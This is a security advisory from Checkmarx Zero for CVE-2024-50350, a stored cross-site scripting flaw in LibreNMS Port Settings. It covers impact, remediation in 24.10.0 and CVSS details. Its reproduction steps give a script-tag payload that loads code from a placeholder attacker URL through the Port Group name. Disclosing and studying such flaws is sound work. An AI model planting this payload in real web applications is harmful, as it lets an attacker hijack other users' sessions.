---
title: "CVE-2024-50350"
date: "2024-11-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/"
---

# CVE-2024-50350

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 5, 2024

CVE-2024-50350  **Published:** Nov 14, 2024

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  7.5 High Severity librenms Stored-XSS XSS

RS Raphael Silva  Reported by Checkmarx Zero

Details Overview

## Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Port Settings page allows authenticated users to inject arbitrary JavaScript through the `name` parameter when creating a new Port Group. This payload executes when the Port Settings page is visited after the Port Group is added to a device, compromising user sessions and enabling unauthorized actions.

## Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in `librenms/app/Http/Controllers/Table/EditPortsController.php`.

## Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

## Steps to reproduce

1. Log into the LibreNMS web interface.
2. Create a new Port Group under **Port Settings** with the following payload as the **Name**:

    `<script/src=//<attacker-url>></script>`
3. Add that Port Group to a device’s port settings.
4. Reload the **Port Settings** page.
5. Observe that the external script from `//<attacker-url>` is loaded and executed.

### Expected result:

The external script hosted at `//<attacker-url>` loads and runs on the Port Settings page when viewed, demonstrating arbitrary JavaScript execution in the victim’s session.

## Remediation

Fixed in LibreNMS 24.10.0 by HTML-encoding the `name` parameter in `EditPortsController.php` before rendering the `<option>` element, preventing direct injection of unsanitized input.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher [Raphael Silva](https://www.linkedin.com/in/raphaelcssilva/).

## Resources

1. [GHSA-xh4g-c9p6-5jxg](https://github.com/advisories/GHSA-xh4g-c9p6-5jxg)
2. [Fix commit](https://github.com/librenms/librenms/commit/82a744b)
3. [NVD entry for CVE-2024-50350](https://nvd.nist.gov/vuln/detail/CVE-2024-50350)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Oct 9, 2024
2. Disclosed Oct 10, 2024
3. Fixed Nov 5, 2024 Patched in LibreNMS 24.10.0

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-49764  Stored Cross-site Scripting in @LibreNMS/LibreNMS Capture Debug Information   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-49764/)